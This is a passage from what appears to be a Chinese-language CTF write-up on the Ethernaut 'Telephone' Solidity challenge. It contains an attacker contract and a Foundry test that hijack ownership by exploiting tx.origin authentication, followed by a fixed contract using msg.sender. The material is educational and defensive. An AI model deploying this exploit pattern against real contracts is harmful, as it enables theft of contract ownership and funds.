contract TelephoneAttacker { Telephone public target; constructor(address _target) { target = Telephone(_target); } function attack(address _newOwner) public { // 通过中间合约调用,使 tx.origin ≠ msg.sender target.changeOwner(_newOwner); } }
contract TelephoneTest is Test { Telephone public telephone; TelephoneAttacker public attacker; address public user = makeAddr("user"); address public newOwner = makeAddr("newOwner");
function setUp() public { telephone = new Telephone(); attacker = new TelephoneAttacker(address(telephone)); }
function testTelephoneExploit() public { vm.startPrank(user); // 通过中间合约攻击 attacker.attack(newOwner); vm.stopPrank(); // 验证攻击成功 assertEq(telephone.owner(), newOwner); console.log("Attack successful! New owner:", telephone.owner()); } }
🛡️ 防御措施
使用 msg.sender 进行身份验证
1 2 3 4 5 6 7 8 9 10 11 12
contract SecureTelephone { address public owner; modifier onlyOwner() { require(msg.sender == owner, "Not the owner"); _; } function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } }